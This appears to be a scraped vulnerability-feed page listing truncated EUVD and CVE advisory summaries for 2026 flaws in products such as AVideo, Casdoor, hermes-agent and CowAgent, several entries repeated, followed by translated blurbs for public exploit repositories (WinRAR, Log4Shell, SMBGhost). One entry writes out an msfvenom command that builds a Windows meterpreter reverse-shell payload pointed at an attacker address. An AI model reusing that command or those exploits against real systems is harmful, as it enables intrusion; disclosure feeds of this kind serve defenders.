EUVD-2026-69720

WWBN AVideo contains a path traversal vulnerability in the API getapilogincode endpoint that allows unauthenticated attackers to delete arbitrary .log files by supplying directory traversal sequences in the code parameter. Attackers can exploit this to destroy audit logs and probe for file...

EUVD-2026-69726

A vulnerability has been found in Casdoor up to 4.0.0. This affects an unknown function of the file controllers/resource.go of the component upload-resource API. Such manipulation leads to missing authentication. It is possible to launch the attack remotely. The exploit has been disclosed to the...

EUVD-2026-69713

A vulnerability was found in NousResearch hermes-agent up to 0.18.2. This vulnerability affects the function listtools of the file tools/mcptool.py of the component MCP Tool. Performing a manipulation results in uncontrolled memory allocation. It is possible to initiate the attack remotely. The...

EUVD-2026-69704

A Pre-authentication SSRF vulnerability exists in the SMA1000 Appliance Work Place interface due to an unintended alternate access path. A remote unauthenticated attacker could potentially exploit this vulnerability to gain unauthorized access to sensitive functionality and perform unauthorized...

EUVD-2026-69700

A vulnerability has been found in NousResearch hermes-agent up to 0.18.2. This affects the function HermesACPAgent.prompt of the file acpadapter/session.py of the component ACP Prompt Workflow. Such manipulation leads to denial of service. The attack may be performed from remote. The exploit has...

CVE-2026-84427 zhayujie CowAgent Bash Tool bash.py denial of service

A vulnerability was determined in zhayujie CowAgent up to 2.1.7. Affected is an unknown function of the file agent/tools/bash/bash.py of the component Bash Tool. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been publicly disclosed an...

CVE-2026-84427

CVE-2026-84427 affects zhayujie CowAgent versions up to 2.1.7 . The vulnerability resides in the Bash Tool component, specifically in the file agent/tools/bash/bash.py. The root-cause function is not precisely identified in the CVE description, though a linked GitHub report title references an ou...

EUVD-2026-69782

A vulnerability was determined in zhayujie CowAgent up to 2.1.7. Affected is an unknown function of the file agent/tools/bash/bash.py of the component Bash Tool. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been publicly disclosed an...

CVE-2026-84427 zhayujie CowAgent Bash Tool bash.py denial of service

A vulnerability was determined in zhayujie CowAgent up to 2.1.7. Affected is an unknown function of the file agent/tools/bash/bash.py of the component Bash Tool. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been publicly disclosed an...

PyPATHPwner

Exploit POC pour CVE-2022-26488 - Vulnérabilité d'élévation de privilèges de Python pour Windows CPython, découverte par la Red Team de Lockheed Martin...

CVE-2023-38831-Exploit

Генератор эксплойта CVE-2023-38831 для WinRAR Создано: technicalcorp Этот проект содержит Python-скрипт, эксплуатирующий CVE-2023-38831 — уязвимость в WinRAR версиях до 6.23. Эксплойт генерирует вредоносный RAR-архив , который запускает выполнение произвольного кода, когда жертва открывает...

bash-fix-exploit

bash-fix-exploit Un petit rôle qui vérifie si l'exploit CVE-2014-6271 est toujours valide Utilisez-le à vos propres risques... Lisez à propos de l'exploit ici : https://community.rapid7.com/community/infosec/blog/2014/09/25/bash-ing-into-your-network-investigating-cve-2014-6271 Prérequis Suppose...

CVE-2021-34371

CVE-2021-34371 exploit python - Neo4j 3.4.18 - Exécution de code à distance RCE basée sur RMI...

CVE-2020-0796

CVE-2020-0796 Exploit Coronablue Après extraction, l'exploit compilé se trouvera dans le dossier CVE-2020-0796-master\CVE-2020-0796\x64\Release\cve-2020-0796-local.exe...

CVE-2018-20250

Configuration Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Procédure Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows:...

CVE-2022-25949

CVE-2022-25949 Un exploit vieux de plusieurs années d'une vulnérabilité d'élévation de privilèges locale EoP dans le pilote KWatch de Kingsoft Antivirus, version 2009.3.17.77. 2009..? J'ai signalé le problème en janvier 2014 et j'ai été informé du CVE plus de 8 ans plus tard. J'ai décidé de mettr...

CVE-2021-1961

Code d'exploitation pour CVE-2021-1961. L'article complet est disponible sur mon blog. Pour compiler l'exploit, exécutez ndk-build du NDK Android. Pour exécuter l'exploit, vous devez avoir accès à /dev/qseecom, ce qui nécessite d'avoir le bon utilisateur/groupe et le bon contexte SELinux. Cela pe...

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment

Exploitation de CVE-2021-44228-Log4Shell dans un environnement bancaire Objectif : Démontrer l'exploitation de la vulnérabilité Log4Shell CVE-2021-44228 dans un environnement d'application bancaire simulé. Périmètre : 1: Mettre en place une application bancaire vulnérable utilisant Apache Log4j...

EUVD-2026-69781

A vulnerability was found in zhayujie CowAgent up to 2.1.3. This impacts the function BrowserTool of the file agent/tools/browser/browsertool.py of the component Browser Tool. Performing a manipulation results in denial of service. The attack can be initiated remotely. The exploit has been made...

CVE-2026-84425 zhayujie CowAgent Browser Tool browser_tool.py BrowserTool denial of service

A vulnerability was found in zhayujie CowAgent up to 2.1.3. This impacts the function BrowserTool of the file agent/tools/browser/browsertool.py of the component Browser Tool. Performing a manipulation results in denial of service. The attack can be initiated remotely. The exploit has been made...